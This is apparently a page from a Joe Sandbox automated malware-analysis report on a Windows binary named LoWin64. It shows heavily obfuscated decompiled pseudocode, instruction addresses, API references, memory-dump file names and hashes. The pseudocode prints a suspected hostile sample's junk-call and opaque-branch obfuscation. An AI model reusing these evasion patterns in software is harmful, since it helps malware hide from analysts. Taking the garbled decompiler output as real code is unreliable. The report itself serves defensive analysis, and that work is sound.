				if (_t324 > 0) goto 0xb1ca7f1b;
				if (_t324 == 0) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68);
				if (_t324 >= 0) goto 0xb1ca7f07;
				_t513 = (0x00000068 - _t679 | _t670) + _t679;
				 *0xb1decf60 = 0;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(_t513);
				if (0x68 - 0x65 >= 0) goto 0xb1ca7f2b;
				_t516 = (_t513 - _t679 | _t670) + _t679;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				if ((E00007FF67FF6B1D3ACF4(_t516) & r14d) >= 0) goto 0xb1ca7f44;
				_t519 = (_t516 - _t679 | _t670) + _t679;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				if ((E00007FF67FF6B1D3ACF4(_t519) & r14d) >= 0) goto 0xb1ca7f59;
				_t522 = (_t519 - _t679 | _t670) + _t679;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				GetWindowTextLengthW(??);
				if ((E00007FF67FF6B1D3ACF4(_t522) & r14d) >= 0) goto 0xb1ca7f76;
				_t525 = (_t522 - _t679 | _t670) + _t679;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(_t525);
				if (0x68 - 0x15 >= 0) goto 0xb1ca7f94;
				_t528 = (_t525 - _t679 | _t670) + _t679;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(_t528) & r14d) >= 0) goto 0xb1ca7fa9;
				_t531 = (_t528 - _t679 | _t670) + _t679;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(_t531);
				if (0x68 - 0x13 >= 0) goto 0xb1ca7fc2;
				_t534 = (_t531 - _t679 | _t670) + _t679;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x68 - 0x13 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t534) & r14d) >= 0) goto 0xb1ca7fec;
				_t537 = (_t534 - _t679 | _t670) + _t679;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t537) & r14d) >= 0) goto 0xb1ca8005;
				_t540 = (_t537 - _t679 | _t670) + _t679;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t540) & r14d) >= 0) goto 0xb1ca8020;
				_t543 = (_t540 - _t679 | _t670) + _t679;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t543);
				_t342 = E00007FF67FF6B1D3ACF4(_t543) & r14d;
				if (_t342 >= 0) goto 0xb1ca8046;
				_t546 = (_t543 - _t679 | _t670) + _t679;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t342 != 0) goto 0xb1ca805e;
				if (_t342 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t679;
				E00007FF67FF6B1D3ACF4(_t546);
				if (_t342 >= 0) goto 0xb1ca807a;
				_t549 = (_t546 - _t679 | _t670) + _t679;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t549);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80a0;
				_t552 = (_t549 - _t679 | _t670) + _t679;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t552);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80d1;
				_t555 = (_t552 - _t679 | _t670) + _t679;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t555);
				if (0x68 - 0x13 >= 0) goto 0xb1ca80f7;
				_t558 = (_t555 - _t679 | _t670) + _t679;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t558);
				if (0x68 - 0x3f >= 0) goto 0xb1ca810c;
				_t561 = (_t558 - _t679 | _t670) + _t679;
				_t271 = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t561) & r14d) >= 0) goto 0xb1ca812d;
				_t564 = (_t561 - _t679 | _t670) + _t679;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t564) & r14d) >= 0) goto 0xb1ca8142;
				_t567 = (_t564 - _t679 | _t670) + _t679;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				_t176 = E00007FF67FF6B1D3ACF4(_t567);
				_t177 = _t176 & r14d;
				if ((_t176 & r14d) >= 0) goto 0xb1ca8157;
				_t570 = (_t567 - _t679 | _t670) + _t679;
				r8d = r15d;
				r8b = _t570 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d =  *((intOrPtr*)(_t681 + 0x20));
				r8d = _a152;
				E00007FF67FF6B1CB41F0(_t177, _t282, _t647,  *((intOrPtr*)(_t681 + 0x90)), _t673); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t271, _t647, 0, _t570, _t685), _t282,  *((intOrPtr*)(_t681 + 0x90)));
				 *0xb1decf60 = _t679;
				E00007FF67FF6B1D3ACF4(_t570);
				E00007FF67FF6B1D3ACF4(_t570);
				asm("push es");
				_t573 = (_t570 - _t679 | 0xffffff80) + _t679;
				asm("movsd xmm6, [0x11694a]");
				_t353 = _t573 - 5;
				if (_t353 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t573);
				if (_t353 >= 0) goto 0xb1ca81e3;
				_t576 = (_t573 - _t679 | 0xffffff80) + _t679;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t353 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t576);
				if (_t353 >= 0) goto 0xb1ca820e;
				_t579 = (_t576 - _t679 | 0xffffff80) + _t679;
				if (_t579 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t579);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t582 = (_t579 - _t679 | 0xffffff80) + _t679;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t582;
				 *0xb1decf60 = _t679;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t356 = r12d - 0x42;
				if (_t356 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t582);
				if (_t356 >= 0) goto 0xb1ca8274;
				_t585 = (_t582 - _t679 | 0xffffff80) + _t679;
				_t357 = _t585 - 0x2e;
				if (_t357 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t585);
				if (_t357 >= 0) goto 0xb1ca828f;
				_t273 = r15d & 0xffffff00 | (_t585 - _t679 | 0xffffff80) + _t679 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t198 = E00007FF67FF6B1D3ACF4((_t585 - _t679 | 0xffffff80) + _t679);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t273;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t273;
				 *0x6b =  *0x6b + _t198;
				_t590 = _a160 + _t679;
				_a160 = _t590;
				 *0xb1decf60 = _t590;
				_t359 = _t590 - 0x1f;
				if (_t359 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t679;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t590 =  *_t590 | _t590;
				if (_t359 >= 0) goto 0xb1ca8308;
				_t593 = (_t590 - _t679 | 0xffffff80) + _t679;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t359 != 0) goto 0xb1ca8318;
				if (_t359 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t593) & r14d) >= 0) goto 0xb1ca8333;
				_t596 = (_t593 - _t679 | 0xffffff80) + _t679;
				if (_t596 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t596) & r14d) >= 0) goto 0xb1ca835e;
				_t599 = (_t596 - _t679 | 0xffffff80) + _t679;
				if (_t599 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t599);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t602 = (_t599 - _t679 | 0xffffff80) + _t679;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t602);
				if (_t602 - 0x34 >= 0) goto 0xb1ca8397;
				_t605 = (_t602 - _t679 | 0xffffff80) + _t679;
				_t367 = _t605 - 0x1f;
				if (_t367 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t605);
				if (_t367 >= 0) goto 0xb1ca83ac;
				_t368 = (_t605 - _t679 | 0xffffff80) + _t679 - 4;
				if (_t368 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t605 - _t679 | 0xffffff80) + _t679);
				if (_t368 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t370 = r13d - 0x54;
				if (_t370 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t370 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t679;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t679;
				IsIconic(??);
				asm("adc al, 0x0");
				_t614 = 0x50 + _t679;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t614);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t617 = (_t614 - _t679 | 0xffffff80) + _t679;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t617);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t620 = (_t617 - _t679 | 0xffffff80) + _t679;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t620);
				E00007FF67FF6B1D3ACF4(_t620);
				E00007FF67FF6B1D3ACF4(_t620);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t623 = (_t620 - _t679 | 0xffffff80) + _t679;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t679;
				E00007FF67FF6B1D3ACF4(_t623);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t626 = (_t623 - _t679 | 0xffffff80) + _t679;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t626);
				E00007FF67FF6B1D3ACF4(_t626);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t629 = (_t626 - _t679 | 0xffffff80) + _t679;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t629);
				E00007FF67FF6B1D3ACF4(_t629);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t632 = (_t629 - _t679 | 0xffffff80) + _t679;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t632);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t638 = ((_t632 - _t679 | 0xffffff80) + _t679 - _t679 | 0xffffff80) + _t679;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t241 = E00007FF67FF6B1D3ACF4(_t638);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t638 - _t679 | 0xffffff80) + _t679 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t241 & r14d;
			}

0x7ff6b1ca7a2a
0x7ff6b1ca7a2c
0x7ff6b1ca7a32
0x7ff6b1ca7a39
0x7ff6b1ca7a3f
0x7ff6b1ca7a41
0x7ff6b1ca7a44
0x7ff6b1ca7a46
0x7ff6b1ca7a4f
0x7ff6b1ca7a55
0x7ff6b1ca7a57
0x7ff6b1ca7a5a
0x7ff6b1ca7a65
0x7ff6b1ca7a65
0x7ff6b1ca7a67
0x7ff6b1ca7a6e
0x7ff6b1ca7a76
0x7ff6b1ca7a7c
0x7ff6b1ca7a84
0x7ff6b1ca7a8c
0x7ff6b1ca7a94
0x7ff6b1ca7a9c
0x7ff6b1ca7aa6
0x7ff6b1ca7ab5
0x7ff6b1ca7ab6
0x7ff6b1ca7ab7
0x7ff6b1ca7ab9
0x7ff6b1ca7ac0
0x7ff6b1ca7ac6
0x7ff6b1ca7acb
0x7ff6b1ca7ad0
0x7ff6b1ca7adb
0x7ff6b1ca7add
0x7ff6b1ca7adf
0x7ff6b1ca7ae4
0x7ff6b1ca7ae6
0x7ff6b1ca7ae9
0x7ff6b1ca7aeb
0x7ff6b1ca7af2
0x7ff6b1ca7afa
0x7ff6b1ca7afd
0x7ff6b1ca7aff
0x7ff6b1ca7b06
0x7ff6b1ca7b17
0x7ff6b1ca7b1d
0x7ff6b1ca7b1f
0x7ff6b1ca7b25
0x7ff6b1ca7b2b
0x7ff6b1ca7b2d
0x7ff6b1ca7b36
0x7ff6b1ca7b38
0x7ff6b1ca7b4b
0x7ff6b1ca7b4d
0x7ff6b1ca7b52
0x7ff6b1ca7b54
0x7ff6b1ca7b5a
0x7ff6b1ca7b61
0x7ff6b1ca7b67
0x7ff6b1ca7b69
0x7ff6b1ca7b71
0x7ff6b1ca7b75
0x7ff6b1ca7b79
0x7ff6b1ca7b7d
0x7ff6b1ca7b7f
0x7ff6b1ca7b86
0x7ff6b1ca7b8c
0x7ff6b1ca7b91
0x7ff6b1ca7b93
0x7ff6b1ca7b9a
0x7ff6b1ca7ba0
0x7ff6b1ca7bab
0x7ff6b1ca7bb1
0x7ff6b1ca7bb3
0x7ff6b1ca7bba
0x7ff6b1ca7bc0
0x7ff6b1ca7bc4
0x7ff6b1ca7bc6
0x7ff6b1ca7bcc
0x7ff6b1ca7bd2
0x7ff6b1ca7bd9
0x7ff6b1ca7bdf
0x7ff6b1ca7be1
0x7ff6b1ca7be9
0x7ff6b1ca7bed
0x7ff6b1ca7bf1
0x7ff6b1ca7bf5
0x7ff6b1ca7bfb
0x7ff6b1ca7c02
0x7ff6b1ca7c08
0x7ff6b1ca7c0d
0x7ff6b1ca7c13
0x7ff6b1ca7c1a
0x7ff6b1ca7c20
0x7ff6b1ca7c25
0x7ff6b1ca7c27
0x7ff6b1ca7c2e
0x7ff6b1ca7c34
0x7ff6b1ca7c39
0x7ff6b1ca7c3b
0x7ff6b1ca7c42
0x7ff6b1ca7c48
0x7ff6b1ca7c53
0x7ff6b1ca7c55
0x7ff6b1ca7c5c
0x7ff6b1ca7c62
0x7ff6b1ca7c67
0x7ff6b1ca7c69
0x7ff6b1ca7c6e
0x7ff6b1ca7c70
0x7ff6b1ca7c76
0x7ff6b1ca7c78
0x7ff6b1ca7c7c
0x7ff6b1ca7c80
0x7ff6b1ca7c88
0x7ff6b1ca7c8a
0x7ff6b1ca7c90
0x7ff6b1ca7c97
0x7ff6b1ca7c9d
0x7ff6b1ca7ca8
0x7ff6b1ca7cae
0x7ff6b1ca7cb5
0x7ff6b1ca7cb8
0x7ff6b1ca7cbc
0x7ff6b1ca7cc2
0x7ff6b1ca7cc7
0x7ff6b1ca7ccc
0x7ff6b1ca7cd2
0x7ff6b1ca7cdd
0x7ff6b1ca7ce3
0x7ff6b1ca7ceb
0x7ff6b1ca7cf1
0x7ff6b1ca7cf3
0x7ff6b1ca7cfa
0x7ff6b1ca7cfe
0x7ff6b1ca7d05
0x7ff6b1ca7d0b
0x7ff6b1ca7d0d
0x7ff6b1ca7d12
0x7ff6b1ca7d15
0x7ff6b1ca7d17
0x7ff6b1ca7d1d
0x7ff6b1ca7d22
0x7ff6b1ca7d2c
0x7ff6b1ca7d32
0x7ff6b1ca7d37
0x7ff6b1ca7d41
0x7ff6b1ca7d4c
0x7ff6b1ca7d52
0x7ff6b1ca7d62
0x7ff6b1ca7d64
0x7ff6b1ca7d6a
0x7ff6b1ca7d72
0x7ff6b1ca7d78
0x7ff6b1ca7d7a
0x7ff6b1ca7d82
0x7ff6b1ca7d86
0x7ff6b1ca7d8a
0x7ff6b1ca7d8e
0x7ff6b1ca7d90
0x7ff6b1ca7d98
0x7ff6b1ca7d9e
0x7ff6b1ca7da3
0x7ff6b1ca7da7
0x7ff6b1ca7dad
0x7ff6b1ca7db5
0x7ff6b1ca7dbb
0x7ff6b1ca7dbd
0x7ff6b1ca7dc4
0x7ff6b1ca7dc8
0x7ff6b1ca7dcf
0x7ff6b1ca7dd5
0x7ff6b1ca7dda
0x7ff6b1ca7de2
0x7ff6b1ca7de8
0x7ff6b1ca7dea
0x7ff6b1ca7df5
0x7ff6b1ca7dfc
0x7ff6b1ca7dff
0x7ff6b1ca7e05
0x7ff6b1ca7e07
0x7ff6b1ca7e0b
0x7ff6b1ca7e0f
0x7ff6b1ca7e13
0x7ff6b1ca7e1d
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e43
0x7ff6b1ca7e4b
0x7ff6b1ca7e5c
0x7ff6b1ca7e62
0x7ff6b1ca7e6a
0x7ff6b1ca7e72
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e84
0x7ff6b1ca7e8a
0x7ff6b1ca7e92
0x7ff6b1ca7ea3
0x7ff6b1ca7eb2
0x7ff6b1ca7eb4
0x7ff6b1ca7eb9
0x7ff6b1ca7ebb
0x7ff6b1ca7ec3
0x7ff6b1ca7ec9
0x7ff6b1ca7ece
0x7ff6b1ca7ed0
0x7ff6b1ca7ed8
0x7ff6b1ca7ee0
0x7ff6b1ca7ee3
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7ef7
0x7ff6b1ca7eff
0x7ff6b1ca7f05
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f1b
0x7ff6b1ca7f23
0x7ff6b1ca7f29
0x7ff6b1ca7f2e
0x7ff6b1ca7f3c
0x7ff6b1ca7f42
0x7ff6b1ca7f47
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f5c
0x7ff6b1ca7f60
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

APIs

GetLastActivePopup.USER32 ref: 00007FF6B1CA7A63
AnyPopup.USER32 ref: 00007FF6B1CA7A7C
IsZoomed.USER32 ref: 00007FF6B1CA7A84
GetModuleHandleW.KERNEL32 ref: 00007FF6B1CA7A8C
IsZoomed.USER32 ref: 00007FF6B1CA7A94
GetModuleHandleW.KERNEL32 ref: 00007FF6B1CA7AA6
AnyPopup.USER32 ref: 00007FF6B1CA7B54

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: Popup$HandleModuleZoomed$ActiveLast
String ID:
API String ID: 3226502039-0
Opcode ID: df6776a4a0b8b63dfeed070ecaee87e516e5d2de3598543d9328b678a67f092c
Instruction ID: 839959bb61b785836cfcaecd01d2068211d237ccd3097126322a222756be8116
Opcode Fuzzy Hash: df6776a4a0b8b63dfeed070ecaee87e516e5d2de3598543d9328b678a67f092c
Instruction Fuzzy Hash: D6E17F67F38A0A66F7125F3CAD5A2BD22A16F2070DF740738C709E159ADF2DF5858244

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CAF936 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00007FF67FF6B1CAF936(void* __eax, void* __ebx, void* __ebp, void* __eflags, void* __rsi, void* _a128) {
				void* _t27;
				void* _t59;
				void* _t77;
				void* _t94;
				void* _t97;
				void* _t102;
				void* _t103;
